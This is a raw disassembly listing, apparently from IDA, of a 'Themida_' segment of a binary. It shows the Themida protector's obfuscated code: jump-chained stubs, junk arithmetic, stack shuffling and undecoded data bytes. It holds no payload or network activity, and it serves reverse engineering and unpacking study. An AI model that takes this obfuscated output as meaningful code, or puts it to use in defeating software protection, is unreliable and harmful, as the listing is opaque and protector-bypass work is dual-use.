db 0FFh ; --------------------------------------------------------------------------- loc_548C85: ; CODE XREF: Themida_:005474B9j push 54F7h mov [esp], ebx push dword ptr [esp] mov eax, [esp] add esp, 4 push edx sub esp, 4 jmp loc_556096 ; --------------------------------------------------------------------------- loc_548C9F: ; CODE XREF: Themida_:0054EC81j mov eax, [esp] add esp, 4 push ecx mov ecx, 256CAC0Ah xor edx, ecx jmp loc_54FA34 ; --------------------------------------------------------------------------- dw 0F181h dd 21DE4DA9h, 0C981D1F7h, 21D72232h, 81E1D149h, 77396DF1h dd 59CE2116h, 6169E94Eh, 48F0000h, 24248B24h, 9C240420h dd 0FF8E3EE9h db 0FFh byte_548CE1 db 0ACh, 30h, 0D8h ; DATA XREF: Themida_:005418A0o dd 2EC81h, 0E3E90000h db 0F0h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_548CEF: ; CODE XREF: Themida_:00542984j add ecx, 4 xchg ecx, [esp] pop esp jmp loc_549E37 ; --------------------------------------------------------------------------- aMsys db 'Méys',0 db 0 ; --------------------------------------------------------------------------- loc_548D01: ; CODE XREF: Themida_:0054A705j neg ecx inc ecx add ecx, 7303456Ch not ecx sub ecx, 5AF7A29Bh jmp loc_546A7D ; --------------------------------------------------------------------------- loc_548D17: ; CODE XREF: Themida_:0054D525j mov edi, [esp] add esp, 4 jmp loc_5521F0 ; --------------------------------------------------------------------------- byte_548D25 db 53h, 89h, 0E3h ; DATA XREF: Themida_:005419C0o dd 4C381h, 0EB810000h, 4, 4794E9h, 9FE95E00h, 8100002Fh dd 85AC66E9h, 8BCB89BCh, 0C483240Ch, 14F75304h, 8F2DE924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_548D56: ; CODE XREF: Themida_:0055206Cj xor [esp], edx xor edx, [esp] pop esp mov [esp], ecx mov ecx, esp add ecx, 4 push edx push edi mov edi, 7BEB7C87h shr edi, 1 xor edi, 0F4B3F27h shr edi, 4 add edi, 4DEB6EBBh push 7F6h jmp loc_54EAC7 ; --------------------------------------------------------------------------- loc_548D8A: ; CODE XREF: Themida_:00546DFFj mov edi, 0D8C0C4Dh add edi, edx pop edx xor [esp+4], edi jmp loc_5545D0 ; --------------------------------------------------------------------------- db 83h dd 34FF04C4h, 0E9575924h, 0D96Eh, 2068C381h, 0B951118Ah dd 263370C0h, 8159CB31h, 0EB36A2F3h, 0C8EB8119h, 8364D34Fh dd 0C8904ECh, 2350B924h, 6AE91BCBh, 5B000046h, 0A2AAE9h db 0 ; --------------------------------------------------------------------------- loc_548DD9: ; CODE XREF: Themida_:0055126Fj mov eax, 6F801E44h add ebp, eax mov eax, [esp] add esp, 4 xor ebp, 0C23EAB86h xor ebx, ebp mov ebp, [esp] push edx jmp loc_551CBD ; --------------------------------------------------------------------------- db 8Fh dd 0E0E92404h, 810000CFh, 0D66C21CFh, 6EFC153h, 71EBE781h dd 53557654h, 350850BBh, 2214BD07h, 0DD01058Ah, 81241C8Bh dd 4C4h, 6E5C100h, 1ED81h, 0C0E90000h, 0FF0000D7h, 68592434h dd 0FAEh, 89240C89h, 7298E9E1h, 2C8B0000h, 4C48324h, 77DC581h dd 348B4BB2h, 90A1E924h, 4C680000h, 89000072h, 0F389241Ch dd 0CCE9DA89h db 0A7h, 2 dup(0) ; --------------------------------------------------------------------------- loc_548E6B: ; CODE XREF: Themida_:005441BAj mov [esp], ecx jmp loc_5466B0 ; --------------------------------------------------------------------------- loc_548E73: ; CODE XREF: Themida_:00545004j add esi, 0FFFFFFFFh add esi, 0EF66D031h sub ebp, esi pop esi add ebp, eax add ebp, 21E71028h mov eax, [esp] jmp loc_543808 ; --------------------------------------------------------------------------- loc_548E92: ; CODE XREF: Themida_:0054B276j neg edx jmp loc_5452DC ; --------------------------------------------------------------------------- db 1, 0C3h, 0FFh dd 0E9582434h, 0FFFFA476h, 4C4815Ah, 0E9000000h, 8898h ; --------------------------------------------------------------------------- loc_548EB0: ; CODE XREF: Themida_:0054C8E0j pop ecx push eax push dword ptr [esp+4] pop eax pop dword ptr [esp] jmp loc_5441B1 ; --------------------------------------------------------------------------- db 57h dd 4A2F61BFh, 0A2EBBB5Ah, 0FB296C12h, 81243C8Bh, 4C4h dd 34815300h, 7301DD24h, 0F181597Dh, 7D7301DDh, 0B7A7E95Bh dd 0C89FFFFh, 0B924h, 0C1810000h, 55AC6A49h, 0E981D129h dd 55AC6A49h, 9BE9CA87h, 81000065h, 796ACAh, 0E9DAF773h dd 0FFFFAF5Dh, 0F334E942h, 0EC81FFFFh, 4, 24048F54h, 0B9FAE9h dd 5E2C100h, 0E281D2F7h, 4D0573FBh, 5207EAC1h, 0C281E289h dd 4, 4EA81h, 0D7E90000h, 83000035h, 2C8904ECh, 815D5424h dd 4C5h, 4C58300h, 5C242C87h, 0A1BD5556h, 0BE7CC206h, 0DB62FE15h dd 2501C681h, 73E94E00h db 0D9h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_548F77: ; CODE XREF: Themida_:005563F1j mov esi, esp jmp loc_54A734 ; --------------------------------------------------------------------------- dw 0F66h dd 5166C8B6h, 8B95E99Ch, 0B353FFFFh, 5BD800A6h, 0DEE9DE04h dd 8100000Fh, 0F30166EEh, 0D9C68156h, 813BA75Bh, 8E4EAEEEh dd 5EF329E3h, 1C8BDF01h, 4C48124h, 83000000h, 3C3302C7h dd 243C3124h, 8B243C33h, 0CD32424h, 50E99C24h db 8Bh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_548FCF: ; CODE XREF: Themida_:00542F58j pop edx push ecx mov ecx, 79D53A2Fh sub edx, ecx pop ecx mov eax, [esp] jmp loc_54CE34 ; --------------------------------------------------------------------------- db 0F7h, 0DBh, 87h dd 8E6C1DEh, 0EF01EE81h, 0F229FFEFh, 0D8F2815Eh, 0E936D67Ah dd 7698h ; --------------------------------------------------------------------------- loc_548FFC: ; CODE XREF: Themida_:0055029Ej mov ebp, 5C0D0962h neg ebp jmp loc_541B9B ; --------------------------------------------------------------------------- aS_ db '^é"_',0 align 2 dw 0D388h dd 0E924148Bh, 651Dh, 8059EC88h, 0E22801ECh, 0C62AE9h db 0 ; --------------------------------------------------------------------------- loc_549025: ; CODE XREF: Themida_:005446EFj mov ecx, 5FDF2C00h mov esi, 1C6E2D6Eh add esi, 408A06BBh jmp loc_54ACC4 ; --------------------------------------------------------------------------- loc_54903A: ; CODE XREF: Themida_:0054A36Aj mov ecx, 4A327D4Bh jmp loc_54DE7D ; --------------------------------------------------------------------------- loc_549044: ; CODE XREF: Themida_:0054FC8Aj push edx mov edx, 7F5E5651h xor edx, 53270260h or edx, 7BEB5B4Dh add edx, 0C061C194h jmp loc_5456BC ; --------------------------------------------------------------------------- db 83h, 0EDh, 4 dd 5C242C87h, 0E9243489h, 1E02h, 83241C8Bh, 0EC8104C4h dd 4, 52241C89h, 0FF4777BAh, 0CA814A3Fh, 4B947D59h, 2899E9h dd 5EF10100h, 5C240C87h, 2BB53h, 0D8010000h, 6F21685Bh dd 4890000h, 2474FF24h, 48F5804h, 4D25C24h, 64E99C24h dd 66FFFF8Ah, 513C1CBFh, 1F52B966h, 59CD8966h, 4EC81h dd 33E90000h, 5AFFFFE5h, 0FF964CE9h db 0FFh byte_5490D9 db 0ACh, 0E9h, 1Dh ; DATA XREF: Themida_:00541AACo dd 0BD000019h, 0FF9F9F99h, 0E95DE831h, 0A724h, 68E9E931h dd 33000016h, 0C31240Ch, 240C3324h, 0E924248Bh, 2FE4h dd 6887C181h, 0F9014612h, 6887E981h, 875F4612h, 85C240Ch dd 0E99C2404h, 0FFFF89FFh ; --------------------------------------------------------------------------- loc_549120: ; CODE XREF: Themida_:00546547j pop eax mov [edx], ecx mov edx, [esp] push ebp jmp loc_5536BF ; --------------------------------------------------------------------------- dd 5C24048Fh, 8B2434FFh, 89572404h, 0B4768E7h, 0C890000h dd 27E2B924h, 0E9813F96h, 0FFFFFFFFh, 418DE181h, 0C9812670h dd 4D7F1F87h, 68E98141h, 0E927A5D5h, 0FFFFA9FBh, 0D9E98141h dd 1D5B6D6h, 240C8BCEh, 0FFE50AE9h db 0FFh ; --------------------------------------------------------------------------- loc_549175: ; CODE XREF: Themida_:0054FBA0j sub edi, 37286D4Bh mov edx, [esp] add esp, 4 jmp loc_541F8F ; --------------------------------------------------------------------------- dw 0C581h dd 0CA01A57Ch, 815DEB01h, 9D12F8EBh, 0EB835953h, 241C8704h dd 0E924248Bh, 0FFFFC6A0h ; --------------------------------------------------------------------------- loc_5491A4: ; CODE XREF: Themida_:0054E1A0j sub ebx, ecx pop ecx jmp loc_554398 ; --------------------------------------------------------------------------- dd 188EC581h, 46E95167h db 4Ah, 2 dup(0) ; --------------------------------------------------------------------------- loc_5491B7: ; CODE XREF: Themida_:00547223j pop eax or edx, ebp pop ebp sub edx, 5BFB9FD1h jmp loc_543076 ; --------------------------------------------------------------------------- loc_5491C6: ; CODE XREF: Themida_:0054D238j add esp, 4 xchg ecx, [esp] mov esp, [esp] mov [esp], ebx jmp loc_54978F ; --------------------------------------------------------------------------- db 1 dd 0BA525BDEh, 4, 565AD601h, 42474FFh, 24048F5Eh, 0FFD2F4E9h dd 58C309FFh, 451FEB81h, 0C3815337h, 0A2E68520h, 815BD989h dd 50FA3EC1h, 3FC781B0h, 16BAB35h, 3FEF81CFh, 8B6BAB35h dd 8956240Ch, 4C681E6h, 81000000h, 4C6h, 24348700h, 118EE9h dd 5DE90100h, 0BF57F901h, 6CD544D5h, 7FC9E9h, 44FC2D00h dd 0F8011AD7h, 0D744FC05h, 7CBE91Ah, 0E22D0000h, 313AA7EFh dd 0EB8158C3h, 1, 0B8E9E9h, 88B5E900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54926A: ; CODE XREF: Themida_:0054B20Dj add esp, 4 add ebp, edi mov edi, [esp] add esp, 4 xchg ebp, [esp] pop esp loc_549279: ; CODE XREF: Themida_:0054F1CCj ; Themida_:00551B81j push esi push esp jmp loc_5499FE ; --------------------------------------------------------------------------- loc_549280: ; CODE XREF: Themida_:0054DBDAj and ecx, 32761A0Ch sub ecx, 414D6165h and ecx, 3BD74128h jmp loc_551BA2 ; --------------------------------------------------------------------------- loc_549297: ; CODE XREF: Themida_:005519DBj xchg ebp, [esp] pop esp jmp loc_54EE35 ; --------------------------------------------------------------------------- dd 48BC201h, 69DE924h, 7ABF0000h, 1179F67h, 5F08247Ch db 8Bh, 1Ch, 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 push edi jmp loc_556072 ; --------------------------------------------------------------------------- loc_5492C6: ; CODE XREF: Themida_:005546B8j add esp, 4 push dword ptr [edi+eax*4] push dword ptr [esp] pop eax sub esp, 4 mov [esp], ebx push esp push dword ptr [esp] mov ebx, [esp] push ebp mov ebp, esp add ebp, 4 add ebp, 4 push ebp push dword ptr [esp+4] pop ebp pop dword ptr [esp] pop esp add esp, 4 push eax mov eax, 1811294h push 0 sub [esp], eax pop eax jmp loc_541EC5 ; --------------------------------------------------------------------------- dd 83240C8Bh, 0C18104C4h, 4, 28C8B850h, 0BE5638EFh, 23AD249Ah dd 4AFCF681h, 0C6811C73h, 572D39DDh, 0CBE7E9h db 0 byte_549339 db 66h, 8Bh, 0Ch ; DATA XREF: Themida_:005418B0o aHZ db '$h<Z',0 align 2 dw 1C89h dd 0E9E38924h, 0FFFF9A2Eh, 5164E95Ah db 2 dup(0) ; --------------------------------------------------------------------------- loc_549352: ; CODE XREF: Themida_:00544661j not ebp shr ebp, 2 sub ebp, 28A91E89h add ecx, ebp mov ebp, [esp] add esp, 4 sub esp, 4 mov [esp], ebp push esi push edx push 5DAE5852h jmp loc_543462 ; --------------------------------------------------------------------------- aH2 db ']h',0Dh,'2',0 align 10h dd 89243489h, 4C681E6h, 0E9000000h, 0A8C0h, 3F8EE81h, 0F3010477h dd 8124348Bh, 4C4h, 241C3300h, 33241C31h, 0E95C241Ch, 0FFFFFD7Ch ; --------------------------------------------------------------------------- loc_5493B0: ; CODE XREF: Themida_:0055141Bj sub edx, 234B3146h jmp loc_543740 ; --------------------------------------------------------------------------- db 31h dd 0C6215BD8h, 2C68158h, 1BFDEFAh, 0B3E95EF2h, 56FFFFE9h dd 0EA015E5Dh, 0C6E9h, 242C8B00h, 3304C483h, 0C31240Ch dd 240C3324h, 6624248Bh, 0E924048Bh, 0FFFFA692h, 8159CF88h dd 4ECh, 24048900h, 0C688F888h, 0E924048Bh, 4A37h ; --------------------------------------------------------------------------- loc_54940C: ; CODE XREF: Themida_:00553FDBj add ebx, 56557869h jmp loc_543099 ; --------------------------------------------------------------------------- loc_549417: ; CODE XREF: Themida_:0054B33Fj xor [ebx], eax pop ebx push ebx push 6214h mov [esp], edi push 554h jmp loc_552FFF ; --------------------------------------------------------------------------- db 5Eh, 50h, 0FFh dd 0FF042474h db 34h, 24h, 58h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 jmp loc_54ADB0 ; --------------------------------------------------------------------------- loc_549445: ; CODE XREF: Themida_:005478B6j pop edi push esi jmp loc_5562A8 ; --------------------------------------------------------------------------- dd 8145D5F7h, 6F2D1FC5h, 0ADCFE97Eh db 2 dup(0) word_54945A dw 34FFh ; DATA XREF: Themida_:00541844o dd 240C8B24h, 7E25E9h, 4C48100h, 1000000h, 51CCE9CBh, 0C4BF0000h dd 1078B3Ch, 2D77E9FBh, 8B660000h, 46E92404h db 9Ch, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_549487: ; CODE XREF: Themida_:0054CC0Fj pop eax push edi mov edi, 29CB2F54h sub edi, 1FA1C7Ch sub edi, 6516FC7h jmp loc_54D033 ; --------------------------------------------------------------------------- db 8Bh dd 0C481242Ch, 4, 5619F281h, 0EF81E382h, 23D22AD9h, 0C781D701h dd 23D22AD9h, 8124148Bh, 4C4h, 4C78300h, 8B243C87h, 0EB682424h dd 0E9000067h, 0FFFFB26Eh, 0E905EFC0h, 0FFFF8AFFh ; --------------------------------------------------------------------------- loc_5494E0: ; CODE XREF: Themida_:00545434j xor ecx, [esp] jmp loc_55563A ; --------------------------------------------------------------------------- loc_5494E8: ; CODE XREF: Themida_:00556374j add esp, 4 jmp loc_547CBE ; --------------------------------------------------------------------------- loc_5494F0: ; CODE XREF: Themida_:00553778j pop ebx add eax, ecx jmp loc_548335 ; --------------------------------------------------------------------------- loc_5494F8: ; CODE XREF: Themida_:00552EB1j pop esp mov [esp], ebp jmp loc_5531EB ; --------------------------------------------------------------------------- loc_549501: ; CODE XREF: Themida_:00552526j neg ebp push eax mov eax, 4335F5AAh sub ebp, eax jmp loc_552390 ; --------------------------------------------------------------------------- dd 0B67796B8h, 3EC38177h, 15C5F33h, 3EEB81C3h, 585C5F33h dd 0FFAAB5E9h, 0E9C328FFh, 0FFFFDFCBh ; --------------------------------------------------------------------------- loc_549530: ; CODE XREF: Themida_:005487ECj xor esi, 3793B924h jmp loc_54E462 ; --------------------------------------------------------------------------- db 81h dd 380CA0C7h, 8DF7815Ch, 870B8905h, 87D1F7CFh, 0BB66E9CFh db 2 dup(0) word_549552 dw 8B66h ; DATA XREF: Themida_:005419BCo dd 0A7E92404h db 16h, 2 dup(0) ; --------------------------------------------------------------------------- loc_54955B: ; CODE XREF: Themida_:00554E32j mov ebx, [esp] add esp, 4 xor eax, [esp] jmp loc_553D0F ; --------------------------------------------------------------------------- db 33h, 0Ch, 24h dd 33240C31h, 855C240Ch, 0A4E99CC8h db 85h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54957B: ; CODE XREF: Themida_:0054A1B7j xor ecx, 25F41373h push dword ptr [esp] mov esi, [esp] add esp, 4 add esp, 4 and eax, ecx jmp loc_551BC0 ; --------------------------------------------------------------------------- dw 0E94Ah dd 0FFFF907Ah, 333FC281h, 0D731B0FCh, 0FB56E95Ah, 0E689FFFFh dd 4A0BE953h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5495B6: ; CODE XREF: Themida_:00543D53j add edx, 129D1BAAh jmp loc_555EEA ; --------------------------------------------------------------------------- aN1S db '1ØéÂ:',0 ; DATA XREF: Themida_:005418FCo db 0 ; --------------------------------------------------------------------------- loc_5495C9: ; CODE XREF: Themida_:005420E1j add ecx, 7E8B2158h jmp loc_54679D ; --------------------------------------------------------------------------- dd 0BF243C89h, 2C3515B5h, 5E08950h, 4, 8704E883h, 895C2404h dd 0EC832414h, 24348904h, 840D64BEh, 0BC61E93Eh, 87660000h dd 0E5C0E9D3h, 0D789FFFFh, 5FFD015Ah, 0AA38E956h, 0E989FFFFh dd 0BCE95155h db 87h, 2 dup(0) byte_54961B db 56h ; DATA XREF: Themida_:00541A74o dd 0FFFF8DE9h db 0FFh ; --------------------------------------------------------------------------- loc_549621: ; CODE XREF: Themida_:0054813Cj sub edi, 386C25EAh xor edi, 804DCDC2h add ecx, edi pop edi add ecx, 4 jmp loc_554CE8 ; --------------------------------------------------------------------------- loc_54963B: ; CODE XREF: Themida_:0054DE21j push esi jmp loc_5508C0 ; --------------------------------------------------------------------------- loc_549641: ; CODE XREF: Themida_:0054C322j mov edx, [esp] add esp, 4 jmp loc_550D8D ; --------------------------------------------------------------------------- loc_54964F: ; CODE XREF: Themida_:0054D942j mov [esp], ebx jmp loc_546792 ; --------------------------------------------------------------------------- loc_549657: ; CODE XREF: Themida_:005488DDj mov esi, 3F57262h jmp loc_542034 ; --------------------------------------------------------------------------- aSsb db ')Ñé‘B',0 align 4 dd 0B343E951h, 5D52FFFFh, 0FFE8315Ah, 685D2434h, 707Fh dd 89243C89h, 4C781E7h, 81000000h, 4EFh, 243C8700h, 2404895Ch dd 35A2E9h, 24348B00h, 5004C483h, 405E089h, 0E9000000h dd 0FFFFCE01h, 0BD242C89h, 367405DFh, 0FB43DFB9h, 0E9E901FEh dd 4721h, 0E95AD601h, 2103h, 4C481h, 41E90000h, 80000035h dd 0EDC083C5h, 7EDC008h, 6D68C5FEh, 0E9000008h, 0FFFFE654h ; --------------------------------------------------------------------------- loc_5496E8: ; CODE XREF: Themida_:00542769j xchg ecx, [esp] mov esp, [esp] mov [esp], ebx mov bh, 9 jmp loc_541DDB ; --------------------------------------------------------------------------- loc_5496F8: ; CODE XREF: Themida_:00551E8Bj pop esi sub ecx, ebx mov ebx, [esp] push 3D62h mov [esp], ebx mov ebx, esp add ebx, 4 push edx mov edx, 32E74037h shl edx, 8 dec edx xor edx, 0E74036FBh add ebx, edx pop edx xchg ebx, [esp] jmp loc_541DCD ; --------------------------------------------------------------------------- db 0E9h, 0F1h, 83h dd 0EF83FFFFh, 243C3304h, 33243C31h, 248B243Ch, 8792E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_549742: ; CODE XREF: Themida_:00549BC2j mov edx, 5AFE093Fh jmp loc_54C803 ; --------------------------------------------------------------------------- dd 8324348Bh, 0C48104C4h, 4, 10BFB850h, 44017AC6h, 50580424h dd 0CC7D28B8h, 24440107h, 0ACE95804h, 57FFFF83h, 4BFh dd 9A51E900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_54977E: ; CODE XREF: Themida_:0054684Bj add edx, 4 push edi mov edi, 3A9131A2h jmp loc_555B84 ; --------------------------------------------------------------------------- loc_54978F: ; CODE XREF: Themida_:005491D2j mov ebx, esp push edx mov edx, 4DD07F41h jmp loc_5551FE ; --------------------------------------------------------------------------- dd 0CDE9D6F7h, 5C0000C6h, 4BE56h, 0F0010000h, 0FFFC7CE9h dd 0BA525EFFh, 57151207h, 1C74C281h, 0C68125C1h, 533E03AAh dd 0EE81D629h, 533E03AAh, 8124148Bh, 4C4h, 2FF68100h, 811E750Ah dd 9FF6BEC6h, 2C8156B4h, 0B2077D24h, 0F658E94Bh, 0C783FFFFh dd 243C8702h, 2824248Bh, 0E99C2404h, 0FFFF831Fh, 383EBF57h dd 7C293925h, 3C8B0824h, 4C48124h, 0E9000000h, 6EB6h, 0BF57D629h dd 1D7A17EEh, 5A5FFE01h, 0B850D601h, 27E32816h, 0FF58C601h dd 685A2434h, 4E70h, 89242C89h, 0BBBB53E5h, 550D5228h dd 0E06B1ABDh, 8ED8170h, 2906C326h, 0BF575DEBh, 4E657866h dd 5189CF81h, 4F476390h, 5D94EF81h, 0FB01132Ah, 5BDD015Fh dd 3304C583h, 2C31242Ch, 242C3324h, 2434875Ch, 0F24248Bh dd 4168C8BFh, 0E9000038h, 19EFh ; --------------------------------------------------------------------------- loc_54988C: ; CODE XREF: Themida_:0054F9E3j add edx, 4 add edx, 4 jmp loc_5524F2 ; --------------------------------------------------------------------------- word_54989A dw 34FFh ; DATA XREF: Themida_:00541AA8o dd 0EF1AE924h, 5B50FFFFh, 232D6850h, 24890000h, 24048124h dd 4, 40558h, 0E0E90000h db 8Ah, 2 dup(0) ; --------------------------------------------------------------------------- loc_5498BF: ; CODE XREF: Themida_:00552507j pop dword ptr [esp] pop esp push 4025h jmp loc_545EFC ; --------------------------------------------------------------------------- db 0B8h, 2, 0 dd 0BD550000h, 0A2C036Ah, 0FFFFB951h, 0BB53FFFFh, 20AC446Ch dd 15BDD29h, 6CC581CDh, 5920AC44h, 3194B951h, 93E94BA2h dd 81FFFFB8h, 383889C6h, 7EB8500Dh, 0C1576D2Bh, 912D05E8h dd 0F73C6526h, 11CE9D0h db 2 dup(0) ; --------------------------------------------------------------------------- loc_549916: ; CODE XREF: Themida_:0054B199j mov dl, 0B0h sub al, dl jmp loc_548BE0 ; --------------------------------------------------------------------------- loc_54991F: ; CODE XREF: Themida_:00554156j mov edi, 34645380h shr edi, 5 and edi, 66F358DDh push ecx jmp loc_5545A1 ; --------------------------------------------------------------------------- db 81h dd 4C1h, 2C18100h, 87000000h, 77E9240Ch, 5600003Ah, 0C681E689h dd 4, 8704C683h, 685C2434h, 2B27h, 17DCE9h, 0CEE95800h dd 55000029h, 159AE9h, 2D685500h, 89000049h, 0EC812434h dd 4, 24048F54h, 0B01BE9h, 97E95900h, 5D00008Eh, 4C481h dd 0F0010000h, 8124348Bh, 4C4h, 24043300h, 33240431h, 248B2404h dd 0C8B6624h, 0FFBBE924h, 0C481FFFFh, 4, 5C243C87h, 0E9E08950h dd 0FFFFB26Dh, 4EC835Dh, 0BE243489h, 4, 2477C781h, 0B8501ABEh dd 39542Dh, 0FFBBA5E9h, 0CE815EFFh, 1682C89h, 0A42C681h dd 0F18902E6h, 0E9C8095Eh, 1FDCh, 2EFDE992h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5499FE: ; CODE XREF: Themida_:0054927Bj pop esi jmp loc_54A322 ; --------------------------------------------------------------------------- dd 21E9E389h, 0B7FFFFBFh, 1B652A1h, 0EEC0C6FEh, 0AFC68005h dd 3D29E9h, 243C8B00h, 4C481h, 69E90000h, 1FFFF9Ch, 0E9F4E9CBh dd 5605FFFFh, 250BE100h, 68035792h, 0B0E75F2Dh, 0E9C601EFh dd 7A21h, 0E924048Fh, 0C274h ; --------------------------------------------------------------------------- loc_549A50: ; CODE XREF: Themida_:0054B4F1j movzx eax, al mov dx, [esp] sub esp, 4 mov [esp], ebx push esp pop ebx push edx mov edx, esp add edx, 4 sub edx, 4 xchg edx, [esp] pop esp mov [esp], eax mov eax, 3606091Fh shr eax, 8 push ecx mov ecx, 2EA967CBh not ecx push ebx mov ebx, 729D46BEh xor ebx, 71A8793Bh jmp loc_54F450 ; --------------------------------------------------------------------------- dw 0C381h dd 0A71BEC17h, 0A7E9DD31h, 81000059h, 42404h, 34FF0000h dd 0C4835F24h, 4EC8304h, 68240C89h, 4, 602EE959h db 2 dup(0) ; --------------------------------------------------------------------------- loc_549AC2: ; CODE XREF: Themida_:00542FFFj mov esi, [esp] add esp, 4 shr eax, 0Ah xor eax, ecx push eax push edi pop eax pop edi jmp loc_552C4C ; --------------------------------------------------------------------------- db 89h, 0Ch, 24h dd 0E9DC8850h, 0FFFFB31Ch, 42B1ED81h, 0E9592BC5h, 0CFD5h dd 0FF802AE9h, 6866FFh, 0B9CEE900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_549AFE: ; CODE XREF: Themida_:0054591Ej push ecx mov ecx, 770107CDh jmp loc_547DC7 ; --------------------------------------------------------------------------- loc_549B09: ; CODE XREF: Themida_:00542540j mov [esp], edi jmp loc_5559DC ; --------------------------------------------------------------------------- db 89h, 0C2h, 0E9h dd 185Bh, 2CC0FE5Bh, 58C328E2h, 487EB80h, 2CD800D6h, 0B845E9D6h dd 8957FFFFh, 0DEADE9E7h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_549B36: ; CODE XREF: Themida_:0054ADC3j mov [esp], edi jmp loc_54D40F ; --------------------------------------------------------------------------- loc_549B3E: ; CODE XREF: Themida_:005448ECj push edi push 349Bh jmp loc_5556CF ; --------------------------------------------------------------------------- loc_549B49: ; CODE XREF: Themida_:00550D92j mov [esp], ecx jmp loc_550E76 ; --------------------------------------------------------------------------- db 29h, 0F0h, 5 dd 25E35318h, 48E9815Eh, 0E92C0B5Fh, 0FFFF905Eh, 4C681h dd 34870000h, 24248B24h, 0FFDBDCE9h, 4EC81FFh, 89000000h dd 0ABE92404h, 0F7FFFFEBh, 0F3BB53D1h, 31293B60h, 0C43E9D9h dd 875C0000h, 248B2434h, 2434FF24h, 0FF95ABE9h db 0FFh ; --------------------------------------------------------------------------- loc_549BA1: ; CODE XREF: Themida_:0054D016j shr ebp, 3 add ebp, 42DA723Bh sub ebp, 0C8922283h sub ebp, 1 not ebp xor ebp, 46881C14h or ebp, 0F1B55D6h push edx jmp loc_549742 ; --------------------------------------------------------------------------- loc_549BC7: ; CODE XREF: Themida_:00550D3Aj mov ebp, [esp] add esp, 4 inc ebx push esi jmp loc_5506D4 ; --------------------------------------------------------------------------- loc_549BD7: ; CODE XREF: Themida_:0054EB12j add ebx, ebp add ebx, 43B76F48h pop ebp add ebx, 7A8D1F28h jmp loc_54CA38 ; --------------------------------------------------------------------------- db 56h dd 4A186851h, 70E93928h, 5AFFFFD6h, 0FFC215E9h db 0FFh ; --------------------------------------------------------------------------- loc_549BFD: ; CODE XREF: Themida_:005472B0j xchg eax, [esp] mov esp, [esp] pop dword ptr [esp] mov esp, [esp] shl dword ptr [esp], cl pushf jmp loc_541B1F ; --------------------------------------------------------------------------- dw 0C181h dd 4, 4C181h, 70E90000h db 72h, 2 dup(0) ; --------------------------------------------------------------------------- loc_549C23: ; CODE XREF: Themida_:0054BF5Fj mov al, 9Ch not al add al, 79h jmp loc_544BDD ; --------------------------------------------------------------------------- loc_549C2E: ; CODE XREF: Themida_:00556940j mov edi, 93739701h sub edi, ebx pop ebx mov ebp, edi pop edi add ebp, 0AA78E62Bh mov edi, ebp pop ebp sub ecx, 44BC3E75h add ecx, edi add ecx, 44BC3E75h push dword ptr [esp] pop edi push ebp mov ebp, esp add ebp, 4 add ebp, 4 jmp loc_547FE2 ; --------------------------------------------------------------------------- db 89h, 0E1h, 56h dd 5E316852h, 815A2957h, 0A8A1D3C2h, 5AD689D6h, 0E95EF101h dd 0FFFFE7C4h dword_549C80 dd 207F83ADh, 4F840F00h, 81FFFFC9h, 3852A8C6h, 0C1B95106h ; DATA XREF: Themida_:00541910o dd 11D2A65h, 0C60159CEh, 2856851h, 0F7597DD5h, 6DE949D1h dd 89FFFF92h, 5D59242Ch, 6A84BA52h, 0EA81059Eh, 3ED23956h dd 0B49C281h, 55E9B00Eh db 8Bh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_549CC7: ; CODE XREF: Themida_:0054FF1Aj pop ebx add esp, 4 add ebp, edi jmp loc_5473F3 ; --------------------------------------------------------------------------- byte_549CD5 db 66h, 8Bh, 4 ; DATA XREF: Themida_:005418E8o aSL db '$éÛL',0 align 2 loc_549CDE: ; CODE XREF: Themida_:005563D4j or edi, ebx pop ebx xor edi, 377E937Dh and esi, edi mov edi, [esp] jmp loc_54327F ; --------------------------------------------------------------------------- loc_549CF1: ; CODE XREF: Themida_:0054C62Fj jmp loc_550229 ; --------------------------------------------------------------------------- word_549CF6 dw 34FFh ; DATA XREF: Themida_:00541A34o dd 24048B24h, 8304C483h, 1C8904ECh, 815B5424h, 4C3h, 4685000h dd 0E9000000h, 0FFFFE0EBh, 89242C89h, 14FEE9E5h, 0C310000h dd 240C3324h, 8A5EE9h, 0C685100h, 89000036h, 0CEBE2434h dd 0B963E818h, 0E5056130h, 67E5E981h, 0F1017DD9h, 81668h dd 243C8900h, 0D967E5BFh, 8BF9017Dh, 0C481243Ch, 4, 0E924348Bh dd 4E41h, 0C68806B0h, 7E07E958h, 0F797FFFFh, 0A84FE9D0h dd 48FFFFFh, 8285E924h, 0D801FFFFh, 9608E9h, 0C8B5800h dd 9E35E924h, 3EBB0000h, 1392538h, 5B08245Ch, 4244481h dd 65E64906h, 4244481h, 68FB6BCBh, 4245C01h, 0FFE9F8E9h dd 0C48159FFh, 4, 0BC31E9h db 0 ; --------------------------------------------------------------------------- loc_549DC1: ; CODE XREF: Themida_:005562AEj mov edi, 75F65A98h or edi, 0CD01545h jmp loc_54B54D ; --------------------------------------------------------------------------- loc_549DD1: ; CODE XREF: Themida_:0054E6F1j add esp, 4 push edi push 68ABh mov [esp], ebx push dword ptr [esp] mov edi, [esp] push ebx mov ebx, esp jmp loc_544D51 ; --------------------------------------------------------------------------- db 5Ch dd 5324048Bh, 0E9E389h, 81000007h, 4C4h, 0E9C30100h, 30EBh dd 5966E800h, 9CE95166h, 33FFFF8Fh, 0EFE9243Ch, 81FFFF9Dh dd 4ECh, 16D4E900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_549E22: ; CODE XREF: Themida_:0054E609j shl edi, 4 jmp loc_54D20F ; --------------------------------------------------------------------------- loc_549E2A: ; CODE XREF: Themida_:005421F0j mov [esp], eax mov eax, 6B185017h jmp loc_543AC1 ; 